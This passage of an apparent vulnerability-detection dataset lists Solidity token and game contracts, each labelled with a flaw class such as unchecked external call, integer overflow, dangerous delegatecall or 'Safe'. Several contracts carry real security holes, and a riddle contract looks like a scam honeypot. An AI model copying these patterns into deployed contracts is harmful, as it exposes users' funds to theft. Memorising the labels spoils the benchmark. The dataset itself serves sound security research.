owner = pendingOwner; pendingOwner = address(0); } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/Withdrawals.sol contract Withdrawals is Claimable { /** * @dev responsible for calling withdraw function */ address public withdrawCreator; /** * @dev if it's token transfer the tokenAddress will be 0x0000... * @param _destination receiver of token or eth * @param _amount amount of ETH or Tokens * @param _tokenAddress actual token address or 0x000.. in case of eth transfer */ event AmountWithdrawEvent( address _destination, uint _amount, address _tokenAddress ); /** * @dev fallback function only to enable ETH transfer */ function() payable public { } /** * @dev setter for the withdraw creator (responsible for calling withdraw function) */ function setWithdrawCreator(address _withdrawCreator) public onlyOwner { withdrawCreator = _withdrawCreator; } /** * @dev withdraw function to send token addresses or eth amounts to a list of receivers * @param _destinations batch list of token or eth receivers * @param _amounts batch list of values of eth or tokens * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address */ function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); // itterate in receivers for (uint i = 0; i < _destinations.length; i++) { address tokenAddress = _tokenAddresses[i]; uint amount = _amounts[i]; address destination = _destinations[i]; // eth transfer if (tokenAddress == address(0)) { if (this.balance < amount) { continue; } if (!destination.call.gas(70000).value(amount)()) { continue; } }else { // erc 20 transfer if (ERC20(tokenAddress).balanceOf(this) < amount) { continue; } ERC20(tokenAddress).transfer(destination, amount); } // emit event in both cases emit AmountWithdrawEvent(destination, amount, tokenAddress); } } modifier onlyOwnerOrWithdrawCreator() { require(msg.sender == withdrawCreator || msg.sender == owner); _; } }",./Dataset/unchecked external call (UC),7,7 117.sol,"pragma solidity ^0.4.10; contract SafeMath { function safeAdd(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x + y; assert((z >= x) && (z >= y)); return z; } function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { assert(x >= y); uint256 z = x - y; return z; } function safeMult(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x * y; assert((x == 0)||(z/x == y)); return z; } } contract Token { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token , SafeMath { bool public status = true; modifier on() { require(status == true); _; } function transfer(address _to, uint256 _value) on returns (bool success) { if (balances[msg.sender] >= _value && _value > 0 && _to != 0X0) { balances[msg.sender] -= _value; balances[_to] = safeAdd(balances[_to],_value); Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) on returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] = safeAdd(balances[_to],_value); balances[_from] = safeSubtract(balances[_from],_value); allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender],_value); Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) on constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) on returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) on constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract ExShellToken is StandardToken { string public name = ""ExShellToken""; uint8 public decimals = 8; string public symbol = ""ET""; bool private init =true; function turnon() controller { status = true; } function turnoff() controller { status = false; } function ExShellToken() { require(init==true); totalSupply = 2000000000; balances[0xa089a405b1df71a6155705fb2bce87df2a86a9e4] = totalSupply; init = false; } address public controller1 =0xa089a405b1df71a6155705fb2bce87df2a86a9e4; address public controller2 =0x5aa64423529e43a53c7ea037a07f94abc0c3a111; modifier controller () { require(msg.sender == controller1||msg.sender == controller2); _; } }",./Dataset/integer overflow (OF)/,4,4 0x00Cab00609e70F14e755524bd07e1C639665e796_SVC.sol,"pragma solidity 0.4.24; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require (msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } } contract token { string public name; string public symbol; uint8 public decimals = 8; uint256 public totalSupply; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); constructor(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balances[msg.sender] = totalSupply; //balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function _transfer(address _from, address _to, uint256 _value) internal { require(_to != 0x0); require(balances[_from] >= _value); require(balances[_to] + _value > balances[_to]); uint previousBalances = balances[_from] + balances[_to]; balances[_from] -= _value; balances[_to] += _value; emit Transfer(_from, _to, _value); assert(balances[_from] + balances[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); // Check if the sender has enough balances[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balances[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balances[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } } contract SVC is owned, token { mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); constructor( uint256 initialSupply, string tokenName, string tokenSymbol ) token (initialSupply, tokenName, tokenSymbol) public {} function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balances[_from] > _value); require (balances[_to] + _value > balances[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balances[_from] -= _value; balances[_to] += _value; emit Transfer(_from, _to, _value); } function mintToken(address target, uint256 mintedAmount) onlyOwner public { balances[target] += mintedAmount; totalSupply += mintedAmount; emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } }",Safe,8,8 0x007df6ad281cbbb9e0e9373654fe588b2bd3b9af_OysterPrePearl.sol,"pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract OysterPrePearl { // Public variables of the token string public name = ""Oyster PrePearl""; string public symbol = ""PREPRL""; uint8 public decimals = 18; uint256 public totalSupply = 0; uint256 public funds = 0; address public owner; address public partner; bool public saleClosed = false; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract */ function OysterPrePearl() public { owner = msg.sender; partner = 0x997c48CE1AF0CE2658D3E4c0bea30a0eB9c98382; } modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyAuth { require(msg.sender == owner || msg.sender == partner); _; } function closeSale() onlyOwner { saleClosed = true; } function openSale() onlyOwner { saleClosed = false; } function () payable { require(!saleClosed); require(msg.value >= 1 ether); require(funds + msg.value <= 2500 ether); uint buyPrice; if (msg.value >= 200 ether) { buyPrice = 32500;//550% bonus } else if (msg.value >= 100 ether) { buyPrice = 17500;//250% bonus } else if (msg.value >= 50 ether) { buyPrice = 12500;//150% bonus } else buyPrice = 10000;//100% bonus uint amount; amount = msg.value * buyPrice; // calculates the amount totalSupply += amount; // increases the total supply balanceOf[msg.sender] += amount; // adds the amount to buyer's balance funds += msg.value; // track eth amount raised Transfer(this, msg.sender, amount); // execute an event reflecting the change } function withdrawFunds() onlyAuth { uint256 payout = (this.balance/2) - 2; owner.transfer(payout); partner.transfer(payout); } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }",Safe,8,8 492.sol,"pragma solidity ^0.4.24; // // Answer the riddle and win the jackpot // To play, call the play() method with your guess and 0.25 ether // // Hint: Check the previous guesses to avoid wrong answers // contract RiddleMeThis { bytes32 private answerHash; bool private isActive; Guess[] public guesses; string public riddle; string public answer; struct Guess { address player; string guess; } address private riddler; function () payable public {} constructor (string _riddle, bytes32 _answerHash) public payable { riddler = msg.sender; riddle = _riddle; answerHash = _answerHash; isActive = true; } function play(string guess) public payable { require(isActive); require(msg.value > 1 ether); require(bytes(guess).length > 0); Guess newGuess; newGuess.player = msg.sender; newGuess.guess = guess; guesses.push(newGuess); if (keccak256(guess) == answerHash) { answer = guess; isActive = false; msg.sender.transfer(this.balance); } } function end(string _answer) public { require(msg.sender == riddler); answer = _answer; isActive = false; msg.sender.transfer(this.balance); } }",./Dataset/ether strict equality (SE),3,3 32948.sol,"pragma solidity ^0.4.18; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract TripleCoin is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function TripleCoin( ) { balances[msg.sender] = 23000000000000000000000000; totalSupply = 23000000000000000000000000; name = ""TripleCoin""; decimals = 18; symbol = ""TIC""; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 31558.sol,"pragma solidity ^0.4.19; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { // if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else {return false;} } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { // if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else {return false;} } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; uint256 public totalSupply; } contract COMMIT is StandardToken { function() { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = '2.0.0.RELEASE'; function COMMIT() { balances[msg.sender] = 1000000000000000000000000000; totalSupply = 1000000000000000000000000000; name = ""Commit""; decimals = 18; symbol = ""COMMIT""; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if (!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) {throw;} return true; } }",./Dataset/unchecked external call (UC),7,7 43085.sol," pragma solidity >0.5.0 <0.8.0; contract Helper_ModifiableStorage { mapping (address => address) private target; constructor( address _target ) { target[address(this)] = _target; } fallback() external { (bool success, bytes memory returndata) = target[address(this)].delegatecall(msg.data); if (success) { assembly { return(add(returndata, 0x20), mload(returndata)) } } else { assembly { revert(add(returndata, 0x20), mload(returndata)) } } } function __setStorageSlot( bytes32 _key, bytes32 _value ) public { assembly { sstore(_key, _value) } } function __getStorageSlot( bytes32 _key ) public view returns ( bytes32 _value ) { bytes32 value; assembly { value := sload(_key) } return value; } } ",./Dataset/dangerous delegatecall (DE)/,1,1 34562.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract HippoBohemianToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function HippoBohemianToken( ) { balances[msg.sender] = 100000; // Give the creator all initial tokens (100000 for example) totalSupply = 100000; // Update total supply (100000 for example) name = ""HippoBohemian""; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = ""HPB""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 0x038651c3e304c7764a3cab885195e04de3ae271e_CreditAsiaCoin.sol,"pragma solidity 0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20 { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20 { using SafeMath for uint256; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value > 0); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_from != address(0)); require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract CreditAsiaCoin is StandardToken, Ownable { string public name = ""CreditAsia Coin""; string public symbol = ""CAC""; uint public decimals = 18; // The token allocation uint public constant TOTAL_SUPPLY = 10000000000e18; uint public constant ALLOC_FOUNDER = 10000000000e18; // 100% // wallets address public constant WALLET_FOUNDER = 0xbb90E8310a78f99aB776985A9B7ecDf39ace98e9; // 2 groups of lockup mapping(address => uint256) public contributors_locked; mapping(address => uint256) public investors_locked; // 2 types of releasing mapping(address => uint256) public contributors_countdownDate; mapping(address => uint256) public investors_deliveryDate; // MODIFIER // checks if the address can transfer certain amount of tokens modifier canTransfer(address _sender, uint256 _value) { require(_sender != address(0)); uint256 remaining = balances[_sender].sub(_value); uint256 totalLockAmt = 0; if (contributors_locked[_sender] > 0) { totalLockAmt = totalLockAmt.add(getLockedAmount_contributors(_sender)); } if (investors_locked[_sender] > 0) { totalLockAmt = totalLockAmt.add(getLockedAmount_investors(_sender)); } require(remaining >= totalLockAmt); _; } // EVENTS event UpdatedLockingState(string whom, address indexed to, uint256 value, uint256 date); // FUNCTIONS function CreditAsiaCoin() public { balances[msg.sender] = TOTAL_SUPPLY; totalSupply = TOTAL_SUPPLY; // do the distribution of the token, in token transfer transfer(WALLET_FOUNDER, ALLOC_FOUNDER); } // get contributors' locked amount of token // this lockup will be released in 8 batches which take place every 180 days function getLockedAmount_contributors(address _contributor) public constant returns (uint256) { uint256 countdownDate = contributors_countdownDate[_contributor]; uint256 lockedAmt = contributors_locked[_contributor]; if (now <= countdownDate + (90 * 1 days )) {return lockedAmt;} return 0; } // get investors' locked amount of token // this lockup will be released in 3 batches: // 1. on delievery date // 2. three months after the delivery date // 3. six months after the delivery date function getLockedAmount_investors(address _investor) public constant returns (uint256) { uint256 delieveryDate = investors_deliveryDate[_investor]; uint256 lockedAmt = investors_locked[_investor]; if (now <= delieveryDate) {return lockedAmt;} if (now <= delieveryDate + 90 days) {return lockedAmt;} return 0; } // set lockup for contributors function setLockup_contributors(address _contributor, uint256 _value, uint256 _countdownDate) public onlyOwner { require(_contributor != address(0)); contributors_locked[_contributor] = _value; contributors_countdownDate[_contributor] = _countdownDate; UpdatedLockingState(""contributor"", _contributor, _value, _countdownDate); } // set lockup for strategic investor function setLockup_investors(address _investor, uint256 _value, uint256 _delieveryDate) public onlyOwner { require(_investor != address(0)); investors_locked[_investor] = _value; investors_deliveryDate[_investor] = _delieveryDate; UpdatedLockingState(""investor"", _investor, _value, _delieveryDate); } // Transfer amount of tokens from sender account to recipient. function transfer(address _to, uint _value) public canTransfer(msg.sender, _value) returns (bool success) { return super.transfer(_to, _value); } // Transfer amount of tokens from a specified address to a recipient. function transferFrom(address _from, address _to, uint _value) public canTransfer(_from, _value) returns (bool success) { return super.transferFrom(_from, _to, _value); } }",Safe,8,8 2004.sol,"pragma solidity ^0.4.24; contract Oracle { function isOutcomeSet() public view returns (bool); function getOutcome() public view returns (int); } contract Proxied { address public masterCopy; } contract Proxy is Proxied { constructor(address _masterCopy) public { require(_masterCopy != 0); masterCopy = _masterCopy; } function () external payable { address _masterCopy = masterCopy; assembly { calldatacopy(0, 0, calldatasize()) let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) } } } contract CentralizedBugOracleData { event OwnerReplacement(address indexed newOwner); event OutcomeAssignment(int outcome); address public owner; bytes public ipfsHash; bool public isSet; int public outcome; address public maker; address public taker; modifier isOwner () { require(msg.sender == owner); _; } } contract CentralizedBugOracleProxy is Proxy, CentralizedBugOracleData { constructor(address proxied, address _owner, bytes _ipfsHash, address _maker, address _taker) public Proxy(proxied) { require(_ipfsHash.length == 46); owner = _owner; ipfsHash = _ipfsHash; maker = _maker; taker = _taker; } } contract CentralizedBugOracle is Proxied,Oracle, CentralizedBugOracleData{ function setOutcome(int _outcome) public isOwner { require(!isSet); _setOutcome(_outcome); } function isOutcomeSet() public view returns (bool) { return isSet; } function getOutcome() public view returns (int) { return outcome; } function _setOutcome(int _outcome) internal { isSet = true; outcome = _outcome; emit OutcomeAssignment(_outcome); } }",./Dataset/ether frozen (EF),2,2 774.sol,"pragma solidity ^0.4.24; contract FDDEvents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, 